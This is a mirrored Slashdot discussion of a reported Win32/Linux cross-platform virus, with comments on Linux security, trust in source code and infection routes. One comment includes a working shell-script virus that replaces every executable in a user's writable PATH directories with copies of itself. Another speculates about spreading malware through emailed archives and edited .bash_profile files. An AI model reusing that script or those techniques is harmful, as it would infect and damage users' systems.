Slashdot Mirror


Win32/Linux Cross-Platform Virus

An Anonymous Coward writes "Symantec reports on the first virus to infect both ELF and PE binaries on Linux and Win32. "The first Win32/Linux cross-infector, {Win32,Linux}/Peelf, uses two separate routines to carry out the infection on PE and ELF files. This variant of Simile shares a substantial amount of code between the two infection functions, such as the polymorphic/metamorphic engines, the only platform-specific parts being the directory traversal code and the API usage.""

24 of 497 comments (clear)

  1. Re:why i love my mac by Anonymous Coward · · Score: 1, Insightful

    you wont be saying that when a *BSD/OSX virus creeps up

  2. Re:Use the source Luke! by Anonymous+Cowrad · · Score: 5, Insightful

    If you read the source. I don't know about you, but I don't have time to go through everything I build with a fine tooth comb looking for nasties.

    Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.

    --

    --
    pants ahoy
  3. More proof by Isaac-Lew · · Score: 4, Insightful
    OK, we're going to trust an anti-virus vendor about a virus/trojan that would be difficult (if not impossible) to spread in the wild? I haven't read *anything* about how this would attack a Linux system (does it cause a buffer overflow? Does it edit a system config file? Do you need to somehow accidentally execute an email attachment?).

    I think that this was cooked up in Symantec's labs in order to scare people & possibly serve as an ad for their software, especially if they have a "solution" that runs on Linux.

    1. Re:More proof by Corgha · · Score: 4, Insightful

      (had to post this as "Code" to get around the lame lameness filter)

      I think you've got a good point. To quote Symantec:

      "So far Symantec has not received any submissions of this virus from customers."

      For any OS, there will always be code which, when run with the appropriate privileges, can cause some damage. That's why viruses are mainly a social problem. Just to prove how pointless this all is, here's my first simple-minded attempt a writing a Linux virus:

      #!/bin/sh
      (
      for file in `find \`echo $PATH | sed 's/:/ /'\` -xdev -type f` ; do
      if [ -x $file -a -w `dirname $file` -a ! -e `dirname $file`/.`basename $file`.orig ] ; then
      mv -f $file `dirname $file`/.`basename $file`.orig && cp -f $0 $file
      fi
      done
      ) > /dev/null 2>&1 &

      echo '1 4m 4 rh347 h4x0r! ph33r my b45H s|<|11z!'
      [ -x `dirname $0`/.`basename $0`.orig ] && \
      exec `dirname $0`/.`basename $0`.orig "$@"

      ta-da! a trivial example of a "virus" that "infects" all executables in a user's PATH, and works even on non-x86 machines and UNIX machines with shellutils installed (with a little sed work, even that requirement could be removed).

      What does this prove? Nothing. Neither does this Simile virus, until it starts mailing itself to people and popular Linux email clients start automatically executing attachments in the preview pane.

      Of course, with all the idiots I see sending out mail as root, maybe this isn't too far off.

  4. Re:Use the source Luke! by Anonymous Coward · · Score: 2, Insightful

    Do you read over the entire source code for all of the apps you install? If not, what's not to keep someone from incoporating the source code for this, or some other virus, directly into the source code for one of the apps you installed via (./configure; make; make install)?

  5. Re:One more reason... by Anonymous+Cowrad · · Score: 4, Insightful

    Sure you can limit it, but losing ~ is still a bitch. If anything, I'd rather lose everything but ~ because that's where my files are changing all the time. Everything else is fairly static, so rolling back to yesterday's backup isn't so bad.

    --

    --
    pants ahoy
  6. Re:Use the source Luke! by innocent_white_lamb · · Score: 5, Insightful

    Do you read over the entire source code for all of the apps you install?

    You forgot to include "and completely understand" in the above quotation.

    We all know (I'm sure) that the function of a routine isn't always obvious. And especially if someone is trying to hide a routine, the functionality could be made very un-obvious.

    A complete source code audit for any major application would be far more labourious than any individual would have the time to undertake in most circumstances.

    --
    If you're a zombie and you know it, bite your friend!
  7. Re:Use the source Luke! by Lardmonster · · Score: 3, Insightful

    Are you sure you can trust your compiler? http://www.acm.org/classics/sep95/

    --
    The more advanced the technology, the more open it is to primitive attack
  8. So, how the infection... by dikappa · · Score: 2, Insightful

    .. is supposed to spread around?

    Infected win executables run on windows, ELF executables run under linux.. I don't think there are that many programs crossing the wall between the two platforms.

    But probably i'm forgetting about wine, vmware and dual-boot machines ;P

    --
    :dikappa
  9. Re:Use the source Luke! by djmurdoch · · Score: 3, Insightful

    No, you dumbass. that would be true if you were the only one who wants to install a program. However, it isn't so. YOU might not look in the code, but OTHERS do.

    And why worry about downloading binaries? Even if you don't scan them for viruses, others do.

  10. Re:One more reason... by garett_spencley · · Score: 5, Insightful

    Someone else already mentioned this but I'll say it again.

    There is no difference as far as I'm concerned as losing my entire system or losing my home directory. You're right that at least if you don't use the root account to catch the virus only your own files would be destroyed but really the files in my home directory are the only files that I care about getting destroyed.

    It only takes me about 10-15 minutes the get my system back up if I had to reinstall. It's all my personal files that can't be replaced that would make the experience traumatic.

    --
    Garett

  11. A True Test by PRickard · · Score: 4, Insightful

    A lot of people have said Linux has fewer viruses than Windows only because Linux isn't as widely used... Well, this is the chance to do some comparisons. How devastating is the cross-platform virus to each system, and how fast does it spread on each?

    Also note that it's a virus, not a security hole or flaw in the system - this doesn't make Linux less secure like a Melissa-type problem that takes advantage of holes made by one company's stupid software bundling decisions.

    --

    == Paul Rickard, Editor of The Microsoft Boycott Campaign ====

  12. here's a scary thought... by h4x0r-3l337 · · Score: 5, Insightful

    A hybrid virus could have its own filesystem code, and thereby infect say a linux partition on a dual-boot machine that is currently booted in windows, or vice-versa. The real killer here would be that your regular user-ID based security wouldn't help at all. While running in windows, the virus would have unlimited access to the linux-partition, enabling it to infect linux binaries it otherwise would only have been able to touch when run as root. And while running in linux, it could infect binaries on a FAT partition without having to worry about the virus-checker getting in the way. In fact, it could easily infect or replace the virus-checker itself.

  13. Re:Use the source Luke! by Chasing+Amy · · Score: 3, Insightful

    > Compiling all my apps from source removes worries about this kinda thing ;)

    Not hardly. Look at how something like Klez works..it can infect a system through vulnerabilities in Web browsers if you check your e-mail through a Web interface. It's only a matter of time until viruses and worms with similar abilities move to Linux and OS X. The only reason they haven't done so yet isn't superior security, it's the fact that Windows systems are the best targets since there are so many. Why infect a few Linux boxen when you can infect tens or hundreds of thousands of Windows machines with the same effort?

    --

    Chasing Amy
    (We all chase Amy...)
    "The more corrupt the state, the more numerous the laws"-Tacitus
  14. Re:how to infect your linux box by RelliK · · Score: 3, Insightful
    If some user runs the virus, it will only be able to infect files that he has write permissions to and on most Linux boxes (at least the distro's I've seen), users aren't allowed to write to systemwide binaries.

    There is one distribution where users are always logged in as root. It is called Lindows. In one of the reviews (search old articles on /.) they were actually able to run Outlook viruses and other Microsoft transmitted diseases on Lindows!

    But yeah, you are exactly right about security of Unix vs. Windows. On Unix, regular users are simply incapable of infecting the system even if they wanted to. Windows, however, is stuck in the single-user mentality. It's really a shame cause NT does have filesystem-level security and theoretically, it could be just as secure as Unix. The problem is that most applications *expect* to have complete access to the system, making a locked-down NT largely useless. Everywhere I worked, all the users have Administrator access on their local machine, and always run executable attachments (well, the ones that don't execute automatically that is :-)

    --
    ___
    If you think big enough, you'll never have to do it.
  15. Re:Use the source Luke! by infiniti99 · · Score: 3, Insightful

    I don't know about you, but I don't have time to go through everything I build with a fine tooth comb looking for nasties.

    I don't either, but the mere fact that the source code is available makes the author trustworthy in my opinion. The mindset of OSS developers is to help out and show off (I should know, as I am one). The last thing a free software author would ever do is try to compromise your system. Especially if you're trying to build a reputation, why ruin it? Do you honestly think, for example, that David Faure of KDE would put something harmful into the next release? Or Linus would try to slip something devastating into the kernel? I would bet money this would never happen.

    These developers work their asses off for the community and keep their code open. No need for me to personally read any of it. They already get 10x my trust by their actions.

  16. Re:Use the source Luke! by BreakWindows · · Score: 4, Insightful

    Compiling all my apps from source removes worries about this kinda thing ;)

    In case you were wondering, he's posting from a machine running the Linux kernel, version 1.1, which he just recently finished checking.

    In a bitter case of irony, I screwed with his compiler to make that kernel bundle in a trojan. ;)

  17. Now if only MS would release Outlook for Linux... by SmegTheLight · · Score: 3, Insightful

    ..we would have some way to spread the virus on linux :)

    --
    Time travel is possible. We are quickly heading for 1984.
  18. Re:One more reason... by Master+Bait · · Score: 2, Insightful

    Absolutely right. There is no reason to have binaries in one's home directory, and any that are there are probably only toys. Viral infection due to running an email binary attachment on a unix-based system is not very likely, (save as setuid root? can't be done except on the most lame of lame setups) and thus because of this the article did not mention the method of infection because there is none. I suggest that any panic over this virus be given from Windows users, who's system is completely open and writable systemwide.

    --
    "Only in their dreams can men truly be free 'twas always thus, and always thus will be."
    --Tom Schulman
  19. Re:Do antivirus companies write viruses? No. by drsolly · · Score: 5, Insightful

    Your rootly precautions are good; my point is that a user doesn't need root privilege to get infected and lose data, and a file doesn't need executable privilege in order to get executed.

    At worst?

    Destroying data files isn't what you should worry about; as you pointed out, that's easy to fix.

    Far more worrying is a virus that makes minor changes to your data files. And how long will it be before you notice? And how old a backup will you restore?

  20. Re:Do antivirus companies write viruses? No. by gilroy · · Score: 3, Insightful
    Blockquoth the poster:

    As for the rest, the code itself has infection length of 2132 bytes according to symantec, so it couldn't have been that much of a bear to code up, just a lot of knowledge.

    Sure, like the final length of a virus reflects its complexity or difficulty at all. Ever enter, or even hear about, the obfuscated C contest? Getting a functional program in a small footprint is generally harder than producing a bloated monstrosity.


    Just ask Microsoft. :)

  21. Re:Use the source Luke! by Tony-A · · Score: 3, Insightful

    Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.
    True for round one. Most everybody.
    Round two. There's always somebody that's gotta do things differently, and the nasty runs into some kind of incompatability. A few paranoid souls run diff on previous versions. Any hint of something nasty and the nasty gets a swarm of unwanted attention.
    Round three. However it happened, somebody is gonna make pretty damn sure it doesn't happen again, kinda embarrasing.

  22. Re:Do antivirus companies write viruses? No. by drsolly · · Score: 5, Insightful

    Worm ... virus ...

    To most people, there's no difference whatsoever.
    To AV folks, a worm is just a particular subset of the class of viruses.

    Klez, the number one virus today, is a worm. I haven't checked the numbers, but right now, I'm guessing that email accounts for 99% of virus (i.e., worm) transmission. And I'd guess that the majority of in-the-wild viruses today, are worms.

    How could a virus get widespread on Unix? First, you have to drop the assumption that all Unix users are sophisticated /. readers. Increasingly, as Linux becomes more and more popular, Linux users are going to be no more sophisticated than
    the average user today.

    And when Mr Average User is running his point-and-click email system on Gnome, and a known and trusted friend (spoofed address) sends him "Funny Joke" or "Useful Program" the likelihood of him clicking on it is just as great whatever OS he's running.

    OK, clicking on it won't work, it's 0644. Or will it be? And does it matter if it's 0644, maybe it can still get executed?

    I haven't tried to write a virus (see my original posting), but you can be sure that whenever AV folks get together and have a few beers (beer is crucial to the AV industry) one of the subjects that comes up is "what if?". And we talk about techniques for writing interesting and difficult-to-handle viruses. This speculation is useful, of course, it makes us think ahead. Well, that's how it was a few years ago, I guess it's the same now.

    So, let's speculate a little (and I haven't tested any of these ideas with any mailers or Linux UIs).

    What if you emailed a tar file, and the mailer is set to untar it (AOL has a neat feature, when someone receives a zip file, AOL automatically unzips it)? Now you have a 755 file, right? User executable - now all you need to do is persuade the user to click on it, which has never been a difficulty. "Click here".

    Or how about your suggestion. Persuade the user to open a terminal window and type perl funnyjoke. Mr Average User really doesn't understand the consequences of doing that, especially when the original email came from a trusted source (or so he thought). It doesn't feel to him like he's bypassing a security system. I mean, what kind of security system is it that can be bypassed so easily?

    Or how about this. In the user's home directory, there's .bash_profile. That's 644, the user can overwrite it, or change it (and if the user can do that, maybe some mailers can replace it with an incoming enclosed file, the mailer has at least the same privilege as the user). And then the next time that user logs in, he runs that revised script.

    The distinction between executable and non-executable isn't as black and white as one might have thought.

    Now consider Word (and Office in general). A lot of people have opined that the non-existence of a good Linux Word-compatible program is one of the barriers to Linux acceptance in the corporate world. So, suppose someone made such a clone. Now you have the whole macro-execution thing to worry about. Users get emailed a document written in Word for Windows; the macros also work under Linux, because the platform is Word, not Windows or Linux. Word for Windows macros work just fine on Word for Mac (at least, they did a few years ago, things might have changed since I was current, but I doubt it).

    And Jane User has write access to all her own documents. And then emails one to a colleague ...

    Now, what about us sophisticated folks, how could we get hit by a virus?

    Well, I don't know about you, but when I download and compile a tarball, I don't actually read through megabytes of source code looking for a self-replicator. I trust the source. I guess almost everyone does the same. And what is the source? Well, I trust RedHat CDs, I trust the Red Hat web site almost as much (assuming no sneaky
    DNS spoofing ...)

    OK, so the RedHat site is OK, but I also go to DaveCentral, and Freshmeat, and SourceForge, and the CGI Resource, and I follow links from there to the web site that the software came from ....

    In other words, I get software from *all over*, and I'd guess that other folks do too.

    And your point is that *you* get to make the decision about who to trust; my point is that Mr Average User gets that *badly* wrong, and I will too, sometimes. It's a balance. I *really want* this program that synchronises my system clocks, and the site I got it from certainly looks OK, I mean, all the words are spelled pretty much right and there's not a single "31334" there.

    And we all know, you can't have a virus on Linux, so I don't actually have to be the least bit careful, right? Wrong.

    "I'm not worried about viruses"

    I agree, you don't have to be worried. But I'd suggest that you be at least a little bit *careful*.

    So, why should you care if Mr Average user hoses his data?

    A) because you're his tech support person, and you're the one he'll complain to
    B) because he's now sending worms to everyone else on the subnet, because that's that this worm does
    C) because some worms choose a random file to mail out, and that can be *really embarrassing*.

    On your final point about virus scanners; you're assuming that a heuristic searches for unlink; I doubt if any heuristics do that. I personally never wrote a heuristic (it wasn't needed when I was in the game), but I know folks who wrote the ones that are in scanners that are in very common use today, and I remember one of them telling me about one of the heuristics in the scanner for Word viruses, and it was looking for something I'd never heard of, that was to do with copying macros. You don't look for the damage routine, you look for the self-copying routine. And there's probably a lot more on heuristics; like I said, I never wrote one, so I don't know.

    It is *trivially easy* to write a virus that today's scanners can't detect. A scanner is looking for a particular bunch of things; all you need to do is keep changing your virus until the scanner doesn't detect it any more.

    And you don't need to be knowledgable to write a virus. A virus is just a program that copies itself. You could write that in perl in not many minutes. Add the code to look for another .pl program, and have the virus edit that to include your virus. You could add calls to copy across the net in a few minutes more. And it's at that point that you can start getting fancy. Please don't assume that virus authors are all really great programmers; more than 99% of them are not. I know because, I used to disassemble their code.

    Today, there isn't a significant virus problem in Linux. I hope it stays that way.

  23. Re:Do antivirus companies write viruses? No. by Art+Tatum · · Score: 2, Insightful
    Ever done this?
    su
    make install
    Do you read through the Makefiles? I don't. I don't think most other people do either. I generally don't bother checking the checksums either. That's dumb, but people (myself included) are generally lazy.